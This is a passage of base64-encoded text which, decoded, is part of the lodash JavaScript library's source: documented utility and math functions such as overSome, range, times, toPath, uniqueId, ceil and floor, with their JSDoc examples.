lciBmb3IgYF8ubWF0Y2hlc2AgdG8gY3JlYXRlIHRoZSBwcmVkaWNhdGUuXG4gICAgICogUGFzcyBhbiBgQXJyYXlgIG9mIHBhcmFtZXRlcnMgZm9yIGBfLm1hdGNoZXNQcm9wZXJ0eWAgYW5kIHRoZSBwcmVkaWNhdGUgd2lsbCBiZSBjcmVhdGVkIHVzaW5nIHRoZW0uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7Li4uKEZ1bmN0aW9ufEZ1bmN0aW9uW10pfSBbcHJlZGljYXRlcz1bXy5pZGVudGl0eV1dXG4gICAgICogIFRoZSBwcmVkaWNhdGVzIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgZnVuYyA9IF8ub3ZlckV2ZXJ5KFtCb29sZWFuLCBpc0Zpbml0ZV0pO1xuICAgICAqXG4gICAgICogZnVuYygnMScpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIGZ1bmMobnVsbCk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIGZ1bmMoTmFOKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBvdmVyRXZlcnkgPSBjcmVhdGVPdmVyKGFycmF5RXZlcnkpO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgY2hlY2tzIGlmICoqYW55Kiogb2YgdGhlIGBwcmVkaWNhdGVzYCByZXR1cm5cbiAgICAgKiB0cnV0aHkgd2hlbiBpbnZva2VkIHdpdGggdGhlIGFyZ3VtZW50cyBpdCByZWNlaXZlcy5cbiAgICAgKlxuICAgICAqIEZvbGxvd2luZyBzaG9ydGhhbmRzIGFyZSBwb3NzaWJsZSBmb3IgcHJvdmlkaW5nIHByZWRpY2F0ZXMuXG4gICAgICogUGFzcyBhbiBgT2JqZWN0YCBhbmQgaXQgd2lsbCBiZSB1c2VkIGFzIGFuIHBhcmFtZXRlciBmb3IgYF8ubWF0Y2hlc2AgdG8gY3JlYXRlIHRoZSBwcmVkaWNhdGUuXG4gICAgICogUGFzcyBhbiBgQXJyYXlgIG9mIHBhcmFtZXRlcnMgZm9yIGBfLm1hdGNoZXNQcm9wZXJ0eWAgYW5kIHRoZSBwcmVkaWNhdGUgd2lsbCBiZSBjcmVhdGVkIHVzaW5nIHRoZW0uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7Li4uKEZ1bmN0aW9ufEZ1bmN0aW9uW10pfSBbcHJlZGljYXRlcz1bXy5pZGVudGl0eV1dXG4gICAgICogIFRoZSBwcmVkaWNhdGVzIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgZnVuYyA9IF8ub3ZlclNvbWUoW0Jvb2xlYW4sIGlzRmluaXRlXSk7XG4gICAgICpcbiAgICAgKiBmdW5jKCcxJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogZnVuYyhudWxsKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBmdW5jKE5hTik7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIHZhciBtYXRjaGVzRnVuYyA9IF8ub3ZlclNvbWUoW3sgJ2EnOiAxIH0sIHsgJ2EnOiAyIH1dKVxuICAgICAqIHZhciBtYXRjaGVzUHJvcGVydHlGdW5jID0gXy5vdmVyU29tZShbWydhJywgMV0sIFsnYScsIDJdXSlcbiAgICAgKi9cbiAgICB2YXIgb3ZlclNvbWUgPSBjcmVhdGVPdmVyKGFycmF5U29tZSk7XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCByZXR1cm5zIHRoZSB2YWx1ZSBhdCBgcGF0aGAgb2YgYSBnaXZlbiBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi40LjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7QXJyYXl8c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBnZXQuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgYWNjZXNzb3IgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW1xuICAgICAqICAgeyAnYSc6IHsgJ2InOiAyIH0gfSxcbiAgICAgKiAgIHsgJ2EnOiB7ICdiJzogMSB9IH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy5tYXAob2JqZWN0cywgXy5wcm9wZXJ0eSgnYS5iJykpO1xuICAgICAqIC8vID0+IFsyLCAxXVxuICAgICAqXG4gICAgICogXy5tYXAoXy5zb3J0Qnkob2JqZWN0cywgXy5wcm9wZXJ0eShbJ2EnLCAnYiddKSksICdhLmInKTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBwcm9wZXJ0eShwYXRoKSB7XG4gICAgICByZXR1cm4gaXNLZXkocGF0aCkgPyBiYXNlUHJvcGVydHkodG9LZXkocGF0aCkpIDogYmFzZVByb3BlcnR5RGVlcChwYXRoKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgb3Bwb3NpdGUgb2YgYF8ucHJvcGVydHlgOyB0aGlzIG1ldGhvZCBjcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCByZXR1cm5zXG4gICAgICogdGhlIHZhbHVlIGF0IGEgZ2l2ZW4gcGF0aCBvZiBgb2JqZWN0YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGFjY2Vzc29yIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgYXJyYXkgPSBbMCwgMSwgMl0sXG4gICAgICogICAgIG9iamVjdCA9IHsgJ2EnOiBhcnJheSwgJ2InOiBhcnJheSwgJ2MnOiBhcnJheSB9O1xuICAgICAqXG4gICAgICogXy5tYXAoWydhWzJdJywgJ2NbMF0nXSwgXy5wcm9wZXJ0eU9mKG9iamVjdCkpO1xuICAgICAqIC8vID0+IFsyLCAwXVxuICAgICAqXG4gICAgICogXy5tYXAoW1snYScsICcyJ10sIFsnYycsICcwJ11dLCBfLnByb3BlcnR5T2Yob2JqZWN0KSk7XG4gICAgICogLy8gPT4gWzIsIDBdXG4gICAgICovXG4gICAgZnVuY3Rpb24gcHJvcGVydHlPZihvYmplY3QpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbihwYXRoKSB7XG4gICAgICAgIHJldHVybiBvYmplY3QgPT0gbnVsbCA/IHVuZGVmaW5lZCA6IGJhc2VHZXQob2JqZWN0LCBwYXRoKTtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBudW1iZXJzIChwb3NpdGl2ZSBhbmQvb3IgbmVnYXRpdmUpIHByb2dyZXNzaW5nIGZyb21cbiAgICAgKiBgc3RhcnRgIHVwIHRvLCBidXQgbm90IGluY2x1ZGluZywgYGVuZGAuIEEgc3RlcCBvZiBgLTFgIGlzIHVzZWQgaWYgYSBuZWdhdGl2ZVxuICAgICAqIGBzdGFydGAgaXMgc3BlY2lmaWVkIHdpdGhvdXQgYW4gYGVuZGAgb3IgYHN0ZXBgLiBJZiBgZW5kYCBpcyBub3Qgc3BlY2lmaWVkLFxuICAgICAqIGl0J3Mgc2V0IHRvIGBzdGFydGAgd2l0aCBgc3RhcnRgIHRoZW4gc2V0IHRvIGAwYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBKYXZhU2NyaXB0IGZvbGxvd3MgdGhlIElFRUUtNzU0IHN0YW5kYXJkIGZvciByZXNvbHZpbmdcbiAgICAgKiBmbG9hdGluZy1wb2ludCB2YWx1ZXMgd2hpY2ggY2FuIHByb2R1Y2UgdW5leHBlY3RlZCByZXN1bHRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3N0YXJ0PTBdIFRoZSBzdGFydCBvZiB0aGUgcmFuZ2UuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGVuZCBUaGUgZW5kIG9mIHRoZSByYW5nZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3N0ZXA9MV0gVGhlIHZhbHVlIHRvIGluY3JlbWVudCBvciBkZWNyZW1lbnQgYnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSByYW5nZSBvZiBudW1iZXJzLlxuICAgICAqIEBzZWUgXy5pblJhbmdlLCBfLnJhbmdlUmlnaHRcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5yYW5nZSg0KTtcbiAgICAgKiAvLyA9PiBbMCwgMSwgMiwgM11cbiAgICAgKlxuICAgICAqIF8ucmFuZ2UoLTQpO1xuICAgICAqIC8vID0+IFswLCAtMSwgLTIsIC0zXVxuICAgICAqXG4gICAgICogXy5yYW5nZSgxLCA1KTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgMywgNF1cbiAgICAgKlxuICAgICAqIF8ucmFuZ2UoMCwgMjAsIDUpO1xuICAgICAqIC8vID0+IFswLCA1LCAxMCwgMTVdXG4gICAgICpcbiAgICAgKiBfLnJhbmdlKDAsIC00LCAtMSk7XG4gICAgICogLy8gPT4gWzAsIC0xLCAtMiwgLTNdXG4gICAgICpcbiAgICAgKiBfLnJhbmdlKDEsIDQsIDApO1xuICAgICAqIC8vID0+IFsxLCAxLCAxXVxuICAgICAqXG4gICAgICogXy5yYW5nZSgwKTtcbiAgICAgKiAvLyA9PiBbXVxuICAgICAqL1xuICAgIHZhciByYW5nZSA9IGNyZWF0ZVJhbmdlKCk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnJhbmdlYCBleGNlcHQgdGhhdCBpdCBwb3B1bGF0ZXMgdmFsdWVzIGluXG4gICAgICogZGVzY2VuZGluZyBvcmRlci5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGFydD0wXSBUaGUgc3RhcnQgb2YgdGhlIHJhbmdlLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBlbmQgVGhlIGVuZCBvZiB0aGUgcmFuZ2UuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGVwPTFdIFRoZSB2YWx1ZSB0byBpbmNyZW1lbnQgb3IgZGVjcmVtZW50IGJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgcmFuZ2Ugb2YgbnVtYmVycy5cbiAgICAgKiBAc2VlIF8uaW5SYW5nZSwgXy5yYW5nZVxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnJhbmdlUmlnaHQoNCk7XG4gICAgICogLy8gPT4gWzMsIDIsIDEsIDBdXG4gICAgICpcbiAgICAgKiBfLnJhbmdlUmlnaHQoLTQpO1xuICAgICAqIC8vID0+IFstMywgLTIsIC0xLCAwXVxuICAgICAqXG4gICAgICogXy5yYW5nZVJpZ2h0KDEsIDUpO1xuICAgICAqIC8vID0+IFs0LCAzLCAyLCAxXVxuICAgICAqXG4gICAgICogXy5yYW5nZVJpZ2h0KDAsIDIwLCA1KTtcbiAgICAgKiAvLyA9PiBbMTUsIDEwLCA1LCAwXVxuICAgICAqXG4gICAgICogXy5yYW5nZVJpZ2h0KDAsIC00LCAtMSk7XG4gICAgICogLy8gPT4gWy0zLCAtMiwgLTEsIDBdXG4gICAgICpcbiAgICAgKiBfLnJhbmdlUmlnaHQoMSwgNCwgMCk7XG4gICAgICogLy8gPT4gWzEsIDEsIDFdXG4gICAgICpcbiAgICAgKiBfLnJhbmdlUmlnaHQoMCk7XG4gICAgICogLy8gPT4gW11cbiAgICAgKi9cbiAgICB2YXIgcmFuZ2VSaWdodCA9IGNyZWF0ZVJhbmdlKHRydWUpO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgcmV0dXJucyBhIG5ldyBlbXB0eSBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjEzLjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGVtcHR5IGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgYXJyYXlzID0gXy50aW1lcygyLCBfLnN0dWJBcnJheSk7XG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhhcnJheXMpO1xuICAgICAqIC8vID0+IFtbXSwgW11dXG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhhcnJheXNbMF0gPT09IGFycmF5c1sxXSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdHViQXJyYXkoKSB7XG4gICAgICByZXR1cm4gW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgcmV0dXJucyBgZmFsc2VgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMTMuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50aW1lcygyLCBfLnN0dWJGYWxzZSk7XG4gICAgICogLy8gPT4gW2ZhbHNlLCBmYWxzZV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdHViRmFsc2UoKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgcmV0dXJucyBhIG5ldyBlbXB0eSBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4xMy4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgZW1wdHkgb2JqZWN0LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0cyA9IF8udGltZXMoMiwgXy5zdHViT2JqZWN0KTtcbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKG9iamVjdHMpO1xuICAgICAqIC8vID0+IFt7fSwge31dXG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhvYmplY3RzWzBdID09PSBvYmplY3RzWzFdKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHN0dWJPYmplY3QoKSB7XG4gICAgICByZXR1cm4ge307XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgcmV0dXJucyBhbiBlbXB0eSBzdHJpbmcuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4xMy4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBlbXB0eSBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udGltZXMoMiwgXy5zdHViU3RyaW5nKTtcbiAgICAgKiAvLyA9PiBbJycsICcnXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHN0dWJTdHJpbmcoKSB7XG4gICAgICByZXR1cm4gJyc7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgcmV0dXJucyBgdHJ1ZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4xMy4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udGltZXMoMiwgXy5zdHViVHJ1ZSk7XG4gICAgICogLy8gPT4gW3RydWUsIHRydWVdXG4gICAgICovXG4gICAgZnVuY3Rpb24gc3R1YlRydWUoKSB7XG4gICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBJbnZva2VzIHRoZSBpdGVyYXRlZSBgbmAgdGltZXMsIHJldHVybmluZyBhbiBhcnJheSBvZiB0aGUgcmVzdWx0cyBvZlxuICAgICAqIGVhY2ggaW52b2NhdGlvbi4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ7IChpbmRleCkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBuIFRoZSBudW1iZXIgb2YgdGltZXMgdG8gaW52b2tlIGBpdGVyYXRlZWAuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiByZXN1bHRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRpbWVzKDMsIFN0cmluZyk7XG4gICAgICogLy8gPT4gWycwJywgJzEnLCAnMiddXG4gICAgICpcbiAgICAgKiAgXy50aW1lcyg0LCBfLmNvbnN0YW50KDApKTtcbiAgICAgKiAvLyA9PiBbMCwgMCwgMCwgMF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0aW1lcyhuLCBpdGVyYXRlZSkge1xuICAgICAgbiA9IHRvSW50ZWdlcihuKTtcbiAgICAgIGlmIChuIDwgMSB8fCBuID4gTUFYX1NBRkVfSU5URUdFUikge1xuICAgICAgICByZXR1cm4gW107XG4gICAgICB9XG4gICAgICB2YXIgaW5kZXggPSBNQVhfQVJSQVlfTEVOR1RILFxuICAgICAgICAgIGxlbmd0aCA9IG5hdGl2ZU1pbihuLCBNQVhfQVJSQVlfTEVOR1RIKTtcblxuICAgICAgaXRlcmF0ZWUgPSBnZXRJdGVyYXRlZShpdGVyYXRlZSk7XG4gICAgICBuIC09IE1BWF9BUlJBWV9MRU5HVEg7XG5cbiAgICAgIHZhciByZXN1bHQgPSBiYXNlVGltZXMobGVuZ3RoLCBpdGVyYXRlZSk7XG4gICAgICB3aGlsZSAoKytpbmRleCA8IG4pIHtcbiAgICAgICAgaXRlcmF0ZWUoaW5kZXgpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgcHJvcGVydHkgcGF0aCBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBwcm9wZXJ0eSBwYXRoIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRvUGF0aCgnYS5iLmMnKTtcbiAgICAgKiAvLyA9PiBbJ2EnLCAnYicsICdjJ11cbiAgICAgKlxuICAgICAqIF8udG9QYXRoKCdhWzBdLmIuYycpO1xuICAgICAqIC8vID0+IFsnYScsICcwJywgJ2InLCAnYyddXG4gICAgICovXG4gICAgZnVuY3Rpb24gdG9QYXRoKHZhbHVlKSB7XG4gICAgICBpZiAoaXNBcnJheSh2YWx1ZSkpIHtcbiAgICAgICAgcmV0dXJuIGFycmF5TWFwKHZhbHVlLCB0b0tleSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gaXNTeW1ib2wodmFsdWUpID8gW3ZhbHVlXSA6IGNvcHlBcnJheShzdHJpbmdUb1BhdGgodG9TdHJpbmcodmFsdWUpKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2VuZXJhdGVzIGEgdW5pcXVlIElELiBJZiBgcHJlZml4YCBpcyBnaXZlbiwgdGhlIElEIGlzIGFwcGVuZGVkIHRvIGl0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3ByZWZpeD0nJ10gVGhlIHZhbHVlIHRvIHByZWZpeCB0aGUgSUQgd2l0aC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB1bmlxdWUgSUQuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udW5pcXVlSWQoJ2NvbnRhY3RfJyk7XG4gICAgICogLy8gPT4gJ2NvbnRhY3RfMTA0J1xuICAgICAqXG4gICAgICogXy51bmlxdWVJZCgpO1xuICAgICAqIC8vID0+ICcxMDUnXG4gICAgICovXG4gICAgZnVuY3Rpb24gdW5pcXVlSWQocHJlZml4KSB7XG4gICAgICB2YXIgaWQgPSArK2lkQ291bnRlcjtcbiAgICAgIHJldHVybiB0b1N0cmluZyhwcmVmaXgpICsgaWQ7XG4gICAgfVxuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQWRkcyB0d28gbnVtYmVycy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjQuMFxuICAgICAqIEBjYXRlZ29yeSBNYXRoXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGF1Z2VuZCBUaGUgZmlyc3QgbnVtYmVyIGluIGFuIGFkZGl0aW9uLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBhZGRlbmQgVGhlIHNlY29uZCBudW1iZXIgaW4gYW4gYWRkaXRpb24uXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgdG90YWwuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uYWRkKDYsIDQpO1xuICAgICAqIC8vID0+IDEwXG4gICAgICovXG4gICAgdmFyIGFkZCA9IGNyZWF0ZU1hdGhPcGVyYXRpb24oZnVuY3Rpb24oYXVnZW5kLCBhZGRlbmQpIHtcbiAgICAgIHJldHVybiBhdWdlbmQgKyBhZGRlbmQ7XG4gICAgfSwgMCk7XG5cbiAgICAvKipcbiAgICAgKiBDb21wdXRlcyBgbnVtYmVyYCByb3VuZGVkIHVwIHRvIGBwcmVjaXNpb25gLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMTAuMFxuICAgICAqIEBjYXRlZ29yeSBNYXRoXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG51bWJlciBUaGUgbnVtYmVyIHRvIHJvdW5kIHVwLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbcHJlY2lzaW9uPTBdIFRoZSBwcmVjaXNpb24gdG8gcm91bmQgdXAgdG8uXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgcm91bmRlZCB1cCBudW1iZXIuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uY2VpbCg0LjAwNik7XG4gICAgICogLy8gPT4gNVxuICAgICAqXG4gICAgICogXy5jZWlsKDYuMDA0LCAyKTtcbiAgICAgKiAvLyA9PiA2LjAxXG4gICAgICpcbiAgICAgKiBfLmNlaWwoNjA0MCwgLTIpO1xuICAgICAqIC8vID0+IDYxMDBcbiAgICAgKi9cbiAgICB2YXIgY2VpbCA9IGNyZWF0ZVJvdW5kKCdjZWlsJyk7XG5cbiAgICAvKipcbiAgICAgKiBEaXZpZGUgdHdvIG51bWJlcnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC43LjBcbiAgICAgKiBAY2F0ZWdvcnkgTWF0aFxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBkaXZpZGVuZCBUaGUgZmlyc3QgbnVtYmVyIGluIGEgZGl2aXNpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IGRpdmlzb3IgVGhlIHNlY29uZCBudW1iZXIgaW4gYSBkaXZpc2lvbi5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBxdW90aWVudC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5kaXZpZGUoNiwgNCk7XG4gICAgICogLy8gPT4gMS41XG4gICAgICovXG4gICAgdmFyIGRpdmlkZSA9IGNyZWF0ZU1hdGhPcGVyYXRpb24oZnVuY3Rpb24oZGl2aWRlbmQsIGRpdmlzb3IpIHtcbiAgICAgIHJldHVybiBkaXZpZGVuZCAvIGRpdmlzb3I7XG4gICAgfSwgMSk7XG5cbiAgICAvKipcbiAgICAgKiBDb21wdXRlcyBgbnVtYmVyYCByb3VuZGVkIGRvd24gdG8gYHByZWNpc2lvbmAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4xMC4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbnVtYmVyIFRoZSBudW1iZXIgdG8gcm91bmQgZG93bi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3ByZWNpc2lvbj0wXSBUaGUgcHJlY2lzaW9uIHRvIHJvdW5kIGRvd24gdG8uXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgcm91bmRlZCBkb3duIG51bWJlci5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5mbG9vcig0LjAwNik7XG4gICAgICogLy8gPT4gNFxuICAgICAqXG4gICAgICogXy5mbG9vcigwLjA0NiwgMik7XG4gICAgICogLy8gPT4gMC4wNFxuICAgICAqXG4gICAgICogXy5mbG9vcig0MDYwLCAtMik7XG4gICAgICogLy8gPT4gNDAwMFxuICAgICAqL1xuICAgIHZhciBmbG9vciA9IGNyZWF0ZVJvdW5kKCdmbG9vcicpO1xuXG4gICAgLyoqXG4gICAgICogQ29tcHV0ZXMgdGhlIG1heGltdW0gdmFsdWUgb2YgYGFycmF5YC4gSWYgYGFycmF5YCBpcyBlbXB0eSBvciBmYWxzZXksXG4gICAgICogYHVuZGVmaW5lZGAgaXMgcmV0dXJuZWQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgTWF0aFxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpdGVyYXRlIG92ZXIuXG4